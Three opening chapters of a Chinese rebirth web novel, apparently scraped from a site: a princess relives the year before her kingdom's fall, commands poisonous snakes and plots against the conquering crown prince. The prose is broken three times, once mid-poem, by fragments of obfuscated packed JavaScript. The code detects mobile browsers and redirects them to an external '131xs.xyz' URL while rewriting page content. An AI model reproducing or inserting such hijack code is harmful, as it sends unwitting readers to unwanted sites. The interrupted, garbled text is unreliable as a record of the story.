《太子妃请狠狠调教太子(重生)》 1. 国破山河在 第一章国破山河在 (蔻燎) 从未有一个夜晚过得如此漫长,仿佛耗尽了一生的光阴,也等不来黎明的救赎。 狱鼠的吱吱声不绝如缕,啮齿咬噬着脏浊腐烂的饭菜。 落花啼旧伤遇上高热,动弹不得,意识昏沉,任由那些臭老鼠在身体上翻山越岭地游走。 “嘎吱——” 铁锁相捆的狱门被一膀大腰圆的黑脸狱卒推开。 门外,一袭金色龙袍的身形无征无兆地静静伫立。 狱卒粗声朝黑暗中蜷缩的人道,“落花啼,皇上屈尊来看你,还不爬起来速速迎驾!” 角落里的人闻声,惊弓之鸟般战栗几下,往后拖了拖伤残的腿脚。 黑亮的水眸透过蓬乱的发丝望着那熟悉的人影。 空气里掠起一道凉薄无情的嗓音,听在耳中犹如锥刺,“落花啼,你还不肯服软吗?落花国已覆灭,天下大统,你的退路只有一个,那便是匍匐在朕的脚下,奴颜婢膝。” 他笑道,“或许,朕能多留你苟活几日。” 落花国覆灭了。 她的国家从此在世界上荡然无存,除了她这唯一的落花后人,还有谁能记得落花国曾经存在过? 落花啼怒火攻心,撑着黑泥覆满的墙壁“唔”的呕了一口黑血,浑身颤抖。 她抬眸去瞪那身披龙袍的年轻男子,眸子里血丝攀爬而上,牙齿死咬,痛恨到极点。 奈何对方全身逆光,容貌表情隐匿在朦胧的灰色下,那模样,不亚于鬼魂在索命。 稀薄的浅金色天光自牢狱的一孔罅隙里泄出,直射-到落花啼憔悴黯淡的五官上,照得人像枯槁的秋日败叶。 曲探幽,我死了也不会放过你,不会放过你! “公主,你醒一醒,起来喝点醒酒汤吧。” “公主,你真是厉害,一大壶霸王蛇泡的陈酒都喝光了,旁的公主王子只喝了半杯呢。” “公主?公主……” 好吵。 头痛欲裂,眼仁酸胀,落花啼甩一甩脑袋,缓缓然睁开双眼,下意识抬手揉按额角,紧了紧胸前的衣袍,做出自保的姿势。 目光聚焦,她一脸错愕地盯着面前的甜美少女。 僵硬地动动嘴唇,“你——” 少女笑吟吟答道,“公主果然喝多了,难不成连银芽也不认识了?来,把醒酒汤喝了,很快就不迷糊了。” 一只镀金白瓷花瓣形的汤匙舀了醒酒汤,正要递到落花啼嘴边,落花啼一把截住银芽的手腕,定了定神,难以置信地环顾周遭,眸珠愈瞪愈圆。 粉金色奢靡的宫宇建筑,铺张富丽的陈设布置,烈红色绣花丝绸帷幔无风自荡,一扇斜窗半启,影影绰绰露出了殿外春意盎然的美景。 天空湛蓝,鸟语花香。 一条弯曲小溪从地面下穿过,碧波潋滟,如游龙戏水,蜿蜒无边。 这是她的宫殿,是落花国长公主落花啼的宫殿,西风愁坞。 她在落花国? 落花国不是已经被曲朝给一举夷为平地了吗? 凝视身边的银芽,落花啼搓搓头发,触手冰冷,全是华美的珠钗,她更加恐慌,道,“你真是银芽?” 银芽在灭国那日就被曲朝的军队一箭穿心,分明早已死了! 眼前之人到底是死是活? 亦或者,自己到底是死是活? 银芽见落花啼魂不附体,诧异道,“公主,你怎么了?奴婢是银芽啊。” 思绪急转,落花啼哑然道,“今天……是什么日子?” 银芽一副公主又在开玩笑的样子,“公主,今天是迎春宴啊,落花国每逢春日都会摆一回迎春宴,各位大臣皆入王宫赴宴,赏花品酒,填词作赋。王上王后还留在宴会中等您继续过去热闹。” “迎春宴?不,我是说……本公主是说,现在是什么年号?” “回公主,今岁是曲朝戌邕三十二年。” 是曲朝戌邕三十二年,不是曲朝天弈元年,落花国还没覆灭,曲探幽也还没篡位登基。 若没猜错,她这是重生了。 她记得,戌邕三十三年,南部落花国一夜覆灭,山河震荡,举国齐哀。 金碧辉煌的落花王宫从无上奢华的贝阙珠宫沦为了不值一文的残垣断壁,仅仅一夜之隔,便自云端跌落进泥渊,何其可怜。 国破之日,落花王宫正在举办落花啼十六芳龄的生辰宴会。 玉盘珍羞,推杯换盏,歌舞升平,端的是一派穷奢极侈。 然而……那日的生辰宴却被敌国偷袭攻破,成为了她一辈子的红色噩梦。 掐着自己的手臂,硬生生掐出淤紫,落花啼喜极而泣。 如今离戌邕三十三年还有一年,离曲探幽登基之日还有八年多,这一次,她无论如何也要护好落花国,争夺权势,逐鹿天下,让曲探幽感受一下国破家亡的滋味。 端过醒酒汤一饮而尽,落花啼拭去眼角热泪,对镜修饰残妆,唇若抹朱,乌发盘绾。 蝉鬓正中簪一朵红白两色的木芙蓉,两端金钗横斜,耳坠红玉。一颦一笑,雍容大气。 纤细白嫩的脖颈后纹有一株朱砂色的暗红芍药花,凌厉而危险。 红袍绿裳裹身,腕携一缕翠金色飘带,行动时翩若惊鸿,婉若游龙,如仙似神。 落花啼领着银芽再去迎春宴时,宴会已散,天幕昏黄,像一泼黄酒倾洒上去,污了干净的白云日光。 宴会上不见国王和王后,落花啼便调转方向去了花筑宫。 宦官禀报后,落花啼提裙步入。 “儿臣见过父王母后。” 国王喝得醉醺醺,瞧着落花啼精神抖擞地出现,略微不解,“花啼啊,你方才醉得厉害,怎的这么快就醒了?” 王后笑道,“过来,让母后摸摸你的脸可还滚烫?” 落花啼五味杂陈,憋着哭意,信步走近,道,“父王,母后,儿臣将才睡了一觉,做了个可怕的噩梦,现下特来找你们安慰一番的。” 她像只慵懒的猫儿,伏在国王王后中间,脑袋蹭蹭两人的膝盖,眼眶一热。 承欢膝下,大抵如此罢。 前世她的父母拼命抵抗敌军,还是被曲朝的士兵万箭齐发,命陨血海,她亲眼目睹了那一幕,想起来就后怕畏惧。 国王道,“花啼,待会拿些安神香片点在香炉里,睡觉便不易做噩梦了。” 王后用手背碰碰落花啼红扑扑的面颊,宠溺道,“瞧你,小脸都红成这般模样,落花王宫上下唯你偏爱蛇酒,又贪喝了?” 点点头,落花啼幸福地笑了,“多谢父王母后关爱,儿臣下回一定控制酒量。” 她不动声色挪变话锋,“曲朝戌邕三十年时,天下迭传‘千古一帝’的言辞,神神秘秘,时至今日已传了两年,父王母后,你们有无听闻?” 前世的千古一帝谣言传得沸沸扬扬,矛头直戳落花国,无人不知无人不晓,落花国王和王后不可能没听过。 只是他们抵不过国力强劲的曲朝,假意不知情,殊不知曲朝根本不给一点面子,在夏初时分,说起兵就起兵,短短一年时间就把落花国打得毫无还手之力。 传言,落花国十年之内,会出现一位千古帝王,曲朝的时代将会更迭成为历史。 假使想破局,得抓紧时机让落花国的王室男子全部死去,余下所有人向曲朝俯首称臣,那么,所谓的千古一帝就无法现世。 曲朝依旧是把持天下的唯一大国,享受着其他小国的依附臣服,逢迎朝拜。 “ 花舫撷红几时归?香泥沃土养君徊。 落花糜谜斩天开,帝王降世谁睹还。 虎视屏野决剑鸣,诸侯云集翻覆来。 扶摇金龙共风起,民徒仙棺葬花骸。 福雍圣临骋英才,河清功名君王寰。 ” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810637|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >国王念念有词,讥讽道,“因为千古一帝的传言里多有‘花’字,便是咱们落花国会出一个一统天下的帝王?岂非强词夺理,无证无据?再者,即便真有帝王来自落花国,那也是上天注定,不可更改。曲朝建立百年,理该分得清谣言只是谣言,若愚蠢的相信谣言,曲朝也不配一国独大了。” 落花啼默然,暗忖,“可是,他们偏偏就是相信了‘千古一帝’的谣言。”准确来说,相信谣言是假,找借口攻打是真。 留在花筑宫用了晚膳,银芽接过王后的大宫女包好的安神香片,主仆二人回了西风愁坞。 深夜,燃上香片,临月沉思。 落花啼一手枕着胳膊,趴在窗沿仰望一轮寒月,心房的杂念一层接一层。 落花国被灭,究其根源乃是因为“千古一帝”的谣言,那么要制止曲朝攻打落花国,就得想方设法处理了谣言。 谣言是何人刻意煽动?一点点把风声闹大,弄得落花国成为众矢之的,自救不得。 该如何改变这些荒诞不经的谣言? 想着想着,落花啼趴在窗前睡着了。 旦日。 落花啼被银芽推醒,看了看背后的薄衣,朝银芽一笑,“多谢,昨儿想事情忘记上-床了。”腰酸背痛,稍微一动骨头就咔咔响。 银芽颇心疼,嗔道,“公主,你又不爱惜身子了,倘若感染风寒,该如何是好?” “不会的,本公主踩着刀锋走过去都能活着,怎么会害怕区区风寒呢?” “踩着刀锋?公主,你何时踩刀锋了?给奴婢看看伤势!”银芽惊吓大叫,手上要去脱落花啼的鞋子。 落花啼赶忙跳远,明媚道,“做梦,做梦,只是做梦。” 银芽眼睛都红了,“公主,你是落花国金枝玉叶的长公主,自幼锦衣玉食,无忧无虑,你不能受一点委屈的。就算是做梦,也不能梦见这些不好的事。” “银芽待本公主最好了。” 落花啼心口一酸,拉过银芽搂在怀里,感叹道,“以后,本公主永远不会再做这些噩梦了。” 银芽“嗯”一声,笑冉冉的,“公主,早膳做好了,奴婢叫她们送上来。” 落花啼目视窗外连绵的墨绿群山,恍惚道,“不吃了,银芽,帮本公主备一身武装。” “公主,你想做什么?” “本公主想去灵暝山见一见师父。”落花啼敛眸,意味深长,心迹难描,“还有,见一见他。” 灵暝山是天相宗的其中一脉掌门花下眠的修行山峰,位于落花国西边,拔地而起,捅-插云霄,是名副其实的高深道门之地。 因着天相宗创始人与落花国有着深厚渊源,落花啼自八九岁时就常去灵暝山游玩,并拜花下眠为师,习武学艺,陶冶性情,操练体能。 她想去问问师父有没有破解谣言的方法,上一世花下眠游历人间,灵暝山上长久找不到她的影子,导致落花国被灭的时候花下眠还在天涯海角,一时赶不回来。 落花啼没抱多大希望,纯属去碰一碰运气。 孰料,此回瞎猫碰上死耗子,她在天相宗得到了花下眠的消息。 守门的小童恭敬道,“公主殿下,宗主正与客人在迎仙楼手谈,无暇他顾,请公主去别处暂玩,宗主事后会去见公主殿下的。” 迎仙楼,乃天相宗最高的一栋恢宏建筑,是打坐冥想,休憩放松,俯瞰山河的好地方。 落花啼站在远处,依稀可见顶端的楼层中有两抹身影,乘云卧雾,缥缈无傍。 落花啼认得花下眠的侧颜,却不认得对面的另一神秘人。 花下眠手执白棋,对方手捻黑棋,两人谈笑风生,不理尘俗。 粉红绸幔在风的吹动下,使得神秘人若隐若现,莫测高深,窥不见清晰面容。 落花啼鼓圆着眼眸想一探究竟,下一秒左肩被人一拍,一暖煦如春的喉音飘然掠来。 “公主殿下,你来了。” 2. 城春草木深 第二章城春草木深 (蔻燎) 落花啼回眸,端端撞上了一高挑男子的黑目。 心口收缩,滚滚热泪险些抑制不住。 对面之人身穿一袭素雅倜傥的云绸沧浪青的衣袍,腰悬一柄普通的不值钱的银剑,剑柄上歪歪扭扭阴刻了“苍霭”二字。 一张脸攀满了黑紫色的崎岖毒疮,毒疮结出斑驳肉痂,好了又破,破了又染,整张脸就没有干净过。 仅有眼眶和嘴角有一些好皮肉,其余皆是被毒疮占领了位置。 花-径深明白自己面目全非,丑陋至极,羞于露面见人,总是要戴上制作粗糙的黑铁面具,隐去上半块脸最严重的疮疤。 他的瞳孔流淌出喜悦的神色,按握剑柄,小心翼翼道,“公主殿下,你许久不来灵暝山了,我以为,你忘记我了。” 花-径深是落花啼十二岁在灵暝山认识的师弟。 仔细算来,花-径深其实比落花啼大了有六岁,不过跟着花下眠拜师学艺的时间晚了些,便得称呼落花啼为师姐,但因为落花啼是落花国的长公主,花-径深不敢逾越,每每会规规矩矩地喊她“公主殿下”。 花-径深被花下眠捡回来时,他浑身中了一种名为“无情思”的绝世毒药。遍体生疮,心悸呕血,性命攸关。是花下眠亲自采药熬制,推胸褪毒,逼出毒脉,险险救了他一命。 活是活下来了,可惜那些毒疮却如附骨之疽死死地粘在他身上,怎么治也好不了。 失去记忆,无家可归的花-径深就顺理成章地追随花下眠修行,避躲尘寰,隔绝外界。 除了落花啼会来灵暝山找他玩,旁人是不大乐意每天面对着容貌奇丑的男子的,一看见他皆避似蛇蝎,跑还来不及。 落花啼想起前世花-径深为救自己逃离曲朝士兵的追杀,被曲探幽一脚踢进悬崖下的深渊,尸骨无存。一瞬间,泪水火辣辣地灼烧眼球,她手足无措道,“……本公主来练练剑,在王宫躲懒了这么久,手都生了。” “嗯,公主殿下,你想练剑,花-径深愿时刻相陪。” “好啊,对了,花-径深,你知道师父今天在见什么人吗?” “我也不得而知,师父不让闲人靠近迎仙楼。”花-径深的黑眸越过面具,远远觑了觑迎仙楼上的两道身形,无可奈何地摇摇头。 落花啼压下好奇心,带着银芽和花-径深绕了一圈,来到了灵暝山比较宽阔的一处练武校场。 宗门中人望见落花啼这位鼎鼎大名的落花国长公主来了,纷纷拾剑离去,留出安静的空间。 落花啼从前的性子张扬热辣,跋扈嚣张,骄矜刁蛮,常常威胁逼迫宗门中人同她斗武,自己斗输了便拿公主身份来压人,使得这些人见了她像老鼠遇上猫,退避三舍,唯恐惹怒了她遭到非人的折辱。 四舍五入,落花啼和花-径深在灵暝山的待遇相差无几,没多少人愿意和他们接触,一个是身份过于金贵,一个是面目过于可憎。 落花啼满不在乎,抽出自己的宝剑“绝艳”在半空一舞,挑了几套花里胡哨的剑花,找找手感。 绝艳是一把素银蛇纹轻剑,通身细鳞,似龙似蛇,执在手中,轻飘飘得如同无物。 她扬扬下颌,“本公主先来?” “公主,请。” 花-径深永远是这样,什么话什么事都听落花啼的,丝毫无怨。 落花啼狡黠道,“成,本公主也不拖拖拉拉了,谁先用剑尖碰到对方,谁就胜,如何?” “听公主殿下的。”花-径深嘴角翘起弧度,语调缓柔。 落花啼前世被曲探幽抓去曲朝后的日子,七八年的光阴一直困在曲探幽身侧,求生不得求死不能,极少有机会摸到刀剑此类武器。她颇觉幻梦般,掌心的腻汗不知不觉湿了剑柄。 足底翻跃,奋袂而起。一束罩了日光的银影划破气流,剑意纵横,“咻咻”袭面。 微凉的风儿扑来,势不可挡。 花-径深能进入天相宗作徒弟,自然不仅仅是凭借花下眠的善心,他根骨奇绝,手脚纤长,是个练武的好苗子,剑术功底是宗门之人有目共睹,艳羡称叹的。 落花啼喜欢同他打斗也是为了提升武艺,一来二去,两人成为了朋友。 花-径深一手负后,单手持着苍霭,“哐”的一声接住落花啼劈来的一招。 聚力朝前一推,剑随人移,刹那间脚步迭换飘至落花啼背后,纤细银白的剑尖以几不可查的速度打在落花啼的腰肢上。 剑尖点动丝绸的声音,细微到不仔细听,无从发觉。 落花啼手里的绝艳“啪”地砸下,眼底闪动着剑身刺目的白光。 她吁一口气,眉目凝霜,失神道,“都怪我以前爱偷懒没好好习武,所以才杀不了他……” 花-径深头一次见落花啼脸上现出落寞悔恨的神情,怔了怔,“公主殿下,此话何意?你想杀谁?” “没什么。” “你有什么忧心事,如果相信我,可以倾吐出来。” “无他,就是近段日子光做噩梦罢了。” 花-径深似乎相信了,紧张的语气一松,“公主殿下,我也经常做噩梦,一开始很害怕,后来我摸索出一个方法,能杜绝再做同一种噩梦。那就是第二日起来把噩梦的内容写下,挖个坑埋入土地,之后就不会梦见那些恐怖的东西了。你试试?” “好,下次试一试。” 落花啼柔展笑靥,捡起绝艳,活动臂膀,“再来!” 两人在校场打了接近一个时辰,最终以落花啼的剑指在花-径深的面具上结束。 她道,“你的脸还是这样,反反复复,本公主带来了一百两银子,给你拿去买药涂。” 花-径深一听此言,撇过脑袋,垂下眼睑躲着落花啼的视线,“不必了。原来,公主殿下亦在意我的外形……我以后会把脸包严实的。师父说,城里的药比不上灵暝山的草药,我会自己采药的。所以,多谢公主殿下的好意了。” “花-径深,本公主不是那个意思,本公主就是想帮帮你。你要是不买药,留着置办其他东西也好,你的剑非是贵品,用了这么多年理该换一把更好的,不然时间久了容易脆掉。” “多谢公主殿下。”花-径深将苍霭插-入剑鞘,没有要拿银子的想法。 两人言谈,耳畔浮来细碎的天相宗门人的话音,夹杂着银芽毕恭毕敬的请安。 “见过宗主!” “花宗主万安!” 落花啼,花-径深不约而同旋身看去,正正对上了灵暝山的主人,天相宗的宗主花下眠的幽深瞳仁,一俱道,“师父!” 花下眠身着粉白色道袍,高束发髻,横贯玉钗,披发及腰,行动时衣袂蹀躞,恍如云翻雾绕,当真是仙风道骨,气场威严。 容貌不俗,颦笑妍丽,乍一看年岁不比落花啼大多少,实则已三十有六了。 她双手握于身后,神色莫测,眯缝眼眸凝睇着落花啼。 一群门人随立在两旁,白茫茫一片,像极了雪覆人间,不乏寒凛。 她似笑非笑,“落花啼,你还记得天相宗?” 好几月没来此地,落花啼自知理亏,面皮红烫,走过去抱拳道,“师父,徒儿错了,再不敢懈怠了。” “你虽是公主,但也是为师的弟子,三天打鱼两天晒网,如此能有什么出息?” “师父教训的是。” 搁前世的话,落花啼还会厚脸皮地顶几句嘴,现在她明白武功的重要性,哪敢颠倒黑白为自己辩解。 花下眠眉梢一跳,讶异落花啼今儿的顺从态度,嗤道,“破天荒?” 落花啼腆颜,凑上去贴贴对方肩膀,挤眉弄眼,“师父,徒儿不是故意气你的,以后师父说什么徒儿就做什么。嗯……徒儿目下来灵暝山一趟,是有求于师父的。” 花下眠迈步走开,“你鬼点子最多,又要闹什么?” “师父错怪徒儿了,徒儿是真的有事相求,不知师父可有听闻过‘千古一帝’的传言?” “……” 花下眠顿住步伐,侧目睨一眼落花啼,眉宇笼上怒云,厉声,“你说什么?” “那传言是,‘花舫撷红几时归?香泥沃土养君徊。落花糜谜斩天开,帝王降世谁睹还。虎视屏野决剑鸣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810638|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诸侯云集翻覆来’……”落花啼以为花下眠不曾听过,下意识回顾谣言的内容。 一语未了,花下眠猛然截断话头,恨铁不成钢道,“别说了!如此空穴来风之语,虚妄至极,岂能入耳!你还搬到为师面前来?” “师父,我……” 花下眠不给落花啼出言吐语的机会,换了另一话题,愠怒道,“你是落花国的长公主,竟能相信这些话?以后不必再提。为师两月后要带上花-径深去外面游历,寻些灵暝山没有的奇珍异草为他疗治毒疮。你想练剑就来,不想就回王宫去。灵暝山众人不是你宫殿内的宦官婢女,不会事事娇纵你。” 尾随在后的花-径深唇线绷直,偷偷扫了扫落花啼。 落花啼记起前世花下眠就是因为离开了落花国,落花国有难之时才孤立无援,后怕道,“师父,你可否一年之后再走?” 她想告诉花下眠自己是上一世重生的,想对方能助她力挽狂澜,护下落花国,可她明白,花下眠绝对不会相信,反而认为她胡言乱语。 花下眠眉心蹙紧,“落花啼,你现在还管为师的决定?” “徒儿不敢。” “为师不在的日子,你倘若有事,就去找你的两位师姐襄助,她们会出面的。” 落花啼退而求其次,点头应和。 在天相宗,花下眠一共四名弟子,大徒弟红衰,二徒弟翠减,三徒弟落花啼,四徒弟花-径深。 所谓的两名师姐便是红衰,翠减。 这两人恨不得一辈子不看见落花啼,落花啼劳烦她们俩,效果低微。 花下眠被门人簇拥远去,消失在一转角。 花-径深疑惑道,“公主殿下,你方才说的千古一帝的传闻,是指什么?” 落花啼无心解释,不置一词,踌躇须臾,与花-径深道了别,默默携上银芽打道回府了。 回到西风愁坞,夜色寂寥,冷月凌空。 一路上落花啼冥思苦想改变千古一帝谣言的方法,直到踏入殿内,她恍然大悟。 不如以谣言掩盖谣言? 用新的谣言淡化转移旧谣言的可信度,不就能化解落花国的危机? 说干就干,落花啼吩咐银芽笔墨伺候,她刚坐在桌案边,头顶就起起伏伏回荡着凉嗖嗖的“嘶嘶”声。 昂头仰视,双目瞪圆,抽吸一口寒气。 是蛇! 五彩斑斓的毒蛇! 成群结队,盘旋房梁,恐怖如斯。 落花啼屏息,挥剑欲斩,毒蛇一哄而散,灰溜溜爬墙顺下,扭动丝滑的躯体停在落花啼眼前,不大愿意走去。 银芽和婢女们歇斯底里地尖叫,“公主小心!” 落花啼一剑捅去,提醒道,“别叫!不过几根小蛇!” 她一连捅了几遭,皆捅了空,毒蛇们交叠缠绕,不退下也不攻击,直勾勾盯着落花啼的面孔,仿佛在识别什么。 落花啼举剑挡在胸前,威胁道,“滚!本公主不杀你们,全部滚!” 毒蛇交换眼神,修长的身段扭一扭,乖乖地滑向窗户口。 银芽道,“公主,这些蛇好像不伤人,它们听得懂你说话!” 落花啼疑窦丛生,抠抠头,试探性道,“别跑了,别跑了,停下!” 一群毒蛇闻言,一动不动。 落花啼吞咽口水,“别吊着脑袋,都趴下!” 毒蛇安安静静地趴在地面,拉扯成笔直的数条花线。 落花啼瞠目结舌,难以置信。 空气里荡起了似有若无的苦酒香,由远至近,如在身侧。 落花啼吸吸鼻腔,上前两步,冷不丁发现那苦酒的香味是自毒蛇上面散发出来的,心口大骇。 骤然回忆起可能是她喝了霸王蛇酒,那条霸王蛇应是这些毒蛇的大王,如今霸王蛇的气息自里由外萦绕不褪,阴错阳差让她变成了毒蛇的主人。 先不论这想法是否正确,背后的原因也来不及深思,她更想快快利用这些毒蛇。 一念忖量,落花啼眼孔泄出了亢奋的犀利精光,她知道该如何更改千古一帝的谣言了。 天助我也。 3. 花落知多少 第三章花落知多少 (蔻燎) 当夜,落花啼和银芽故意变动笔迹,书写着新的千古一帝的谣言,手抄了数不胜数的一张张信纸。 她让毒蛇把纸张衔在嘴里,远离落花国,四处游荡,随地传播,能跑多远跑多远,所到之处吐出信纸,丟给世人看。 这样的事,落花啼熬夜干了十几日。 毒蛇衔信,告示天下。此行此举乃是老天爷的意思,比之前的千古一帝谣言可信度高了数倍。 千古一帝的矛头不再是落花国,曲朝与别国被毒蛇的书信搞得人心惶惶,将信将疑。 天下国度,曲朝为大,他国称小,虽各有不同之处,但唯有一点是别无二致的,那便是信奉儒释道三种教派。 曲朝迷信命运天象一说,不外乎是因为相信朝廷里养的道门之人,他们忌惮千古一帝的谣言,乃是情理之中的。同理,其他国家亦然。 两月后,时至缤纷五月,令落花啼意料之外的事情发生了。 曲朝来人了。 高高在上的太子殿下曲探幽带领人马浩浩汤汤赶至落花国。 那天,落花啼软磨硬泡把花-径深哄下山买新衣服换新剑,在落花国最富贵的都城花落知多少里逛街闲玩。 花-径深的外貌纵使戴了面具也遮盖不完,零星露出紫黑的疤痕,频频被城中百姓指指点点,视为怪物。 落花啼同几位大老粗据理力争骂了一通,一扭头,遥遥远望,正正不斜地碰上了庞大的金色队伍。 如鲠在喉,欲语还休。 这天底下,有何人的军队威武霸气,披戴金甲,手擎金刀? 除了不可一世,唯我独尊的曲朝,还能有谁做得到? 花落知多少的街道并不宽敞,一支巨形金龙将街道塞得满满当当,挤得老百姓们卡在店铺里面,伸着脖子探头探脑,好奇勃勃。 落花啼,花-径深,银芽堆在人山人海中,仰望天神似的仰望着那些高头大马上的人。 队伍正中是一位衮衣绣裳,似竹清正的金袍男子,勒缰曳马,胯夹马腹,气定神闲地前行。浑身一股暗涌的帝王之气,震慑人心。 丰神俊朗,绝美凛冽的侧颜镀上了夕阳西下的金光,照耀得他非同人类,而是器宇轩昂的天上神明。 额头饱满,眉弓鼻梁起伏的弧线恰到好处,嘴唇的形状薄厚得宜,流畅刚毅的下颌线硬朗无比。 往下,鼓鼓的喉结时不时滑动,双肩两边流泄着黑墨般的长发,直垂在挺拔的胸膛上。 腰间挂了两枚玉质镶金,雕纹繁琐的龙形玉佩,随着马匹走动的速度会微微晃动,摇出刺目灼眼的烈烈光芒,宛如真龙飞天,不可多加窥看。 百姓们撺哄鸟乱的讨论声,避无可避地荡进耳朵。 一年轻妇人脸庞鲜红如霞云,掩面道,“是太子殿下!是曲朝的太子殿下!我早就听说曲朝的太子美若神人,如今一见,当真好看得无人能及!” “啊!他就是曲朝的太子殿下曲探幽,年仅二十有一,长得英姿勃发,举世无双,果然是人中龙凤!太俊俏了!”另一妙龄少女含羞一笑,连忙附和。 “哎呦,你小声点,曲朝太子的名字是你想叫就叫的吗?” “好了好了,我不喊了,小命要紧。你说说,他如果能朝我笑一笑该多好啊?” “你做什么梦?你忘了曲朝太子和咱们落花国的长公主订了娃娃亲了吗?他此次前来,说不定就是来提这件婚事的。” “有道理……啧,看来我们只能远观,不可亵玩了。” “我呸!你还想亵玩……” 喧闹的沸腾人声挥之不去,越是嘈杂,越是令人心烦意乱。 落花啼双目猩红,积压的恨意无以复加,扒开人群,遏制不了要追上去。 花-径深举臂一挡,忧心忡忡道,“公主殿下,你怎么了?” 落花啼不应,黑眸死死勾在逐渐远去的曲探幽的背影上,五指成拳,一滴泪自眼尾划下,跌入肮脏尘埃。 寒风凛凛,呼啸穿过。 思绪回到前世被灭国的那一日。 锦绣衣袍蹁跹在前方,后端泼来一阵热腾腾的腥血。 落花啼眼睁睁看着数以万计的落花士兵倒在血泊之中,死不瞑目。 爬上城门,如履薄冰地立在一方石柱上,瞪着凶神恶煞的曲朝兵将。 不经意退至城门最边缘,摇摇欲坠。 黑夜渐退,赤红的新日破晓拂来,像极了一颗目眦欲裂的大眼球。 高举的“落花”旌旗被一只粗大的黑手暴力地剥离长杆,随意丢入熊熊燃烧的火海,顷刻间化为灰烬。 落花啼和曲朝士兵厮杀到力竭,气喘吁吁,她握着劈断的残剑,疯狂摇头,“别过来!别过来!” 剑断发乱,血晕裙角,狼狈凄惨,何其可笑。 浑身战栗,脚底一滑倒将向下。 耳际婉转一声马匹的清脆嘶鸣,一股腥风裹挟着血气扑面而来。 腰间一紧,她结结实实掉入了一个冰冷坚硬的怀抱。 如坠冰窟。 抬眼看去,落花啼看见这一生最想杀死的男人。 曲朝金枝玉叶,文武双全,容貌拔俗的太子殿下——曲探幽。 他身先士卒领兵攻打落花国,只需一年,落花国便无力回天,覆灭败北。 当真是一桩可以流芳千古的旷世美谈。 落花啼挣扎着从曲探幽的马背上逃脱,甫一跑了几步,一柄墨箭擦脸飞过,“嗖”地钉在血染的沙地上,摇颤不休。 曲探幽将弓弦收起,目中无人。 “落花国已破,日后,这里的一草一木,一砖一瓦皆归曲朝所有!” “太子殿下英明神武!” 曲朝士兵响声似雷。 落花王宫上上下下不遗活口,落花啼成了唯一侥幸存活的落花国王室中人。 物以稀为贵。 她被五花大绑吊在城墙上,脸色苍白地看着熟悉的宦官婢女的尸体在地面上拖来拖去,最终堆积成山。 落花王宫外,成千上万的平民百姓身缚枷锁,蓬头垢面地挨在一起,难以望到尽头。 这些只是落花国安居乐业的普通老百姓,难不成也要被曲朝屠杀当场吗? 落花啼眸仁一暗,泪珠滚落,在军队里搜索曲探幽的身形,“太子殿下!饶了落花百姓吧,看在我们有过几面之缘的份上,不要杀他们。对不起,对不起,当年的退婚是我……” 橐橐杂杂的脚步声传来,一匹赤兔宝马驻足在城门下方。 马上的甲胄男子扬起了那绝艳俊颜,眼神含着睥睨天下的倨傲,仿佛天神在审视卑微的蝼蚁。 落花啼如泣如诉,“求你放过我的子民们,他们皆是无辜的。” “你的子民?” 曲探幽嘴角挤出一抹冷笑,“春还公主,你怕是忘了,落花国已不在,何来你的子民呢?” “……” 下一刻,城门口地面上横七竖八排列了长短不一的刀剑,直直铺了一条小路。 柄插入泥,刀锋朝上,刀面在炎炎烈日下闪烁着刺目的寒芒。 曲探幽把玩着手心的一只箭羽,他拉弓搭箭,回首将箭尖对准落花百姓,眯起狭长黑目,“常言道,过刀山,下火海,可窥探一丝真诚。火海就罢了,可刀山嘛——你若想表明忠心,保全剩余百姓,便从这刀山上踏过。” “孤自当会信守承诺。” 眸珠凝向黑压压的人头,落花啼苦笑,毫不犹豫地点首,“只要你留百姓们一命,我愿臣服曲朝,求你成全!” 堂堂落花国尊贵至极的春还公主落花啼,为了苟活,居然愿意朝敌国低头,谄媚讨好。 简直是贪生怕死,不知羞耻的鼠辈小人! 绳索被斩断,落花啼自高空摔下,近在咫尺的横亘刀山张牙舞爪地朝天遍刺,等待她的前行。 褪去锦靴,她面不改色地踩到数米长的铺地刀锋上,不消片刻,脚下血水淋漓,白骨森露,惨不忍睹。 她耸了耸眉梢,咬紧牙关强行走下去。 曲探幽拍拍手,笑道,“有骨气。” 漫长地行走刀山,她的双足爬满刀痕,血肉模糊,俨然快成残废之态。 为了一表忠心,她俯身跪下,一次一次地叩首。 鲜血染红了她脚下的一片土地,那是她护不住的母国在泣泪。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15810639|175219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >即便她放弃尊严,低声下气求着曲探幽,曲探幽表面答应饶了落花百姓,却在不久之后开展了一场可怕的屠杀。 杀伐暴戾,野心包天,言而无信,这就是曲探幽。 花-径深瞥见落花啼一动不动注视着曲探幽,发呆失神,错以为落花啼看上了曲探幽。他低头,往下拽了拽黑铁面具,想遮住丑陋的容颜。 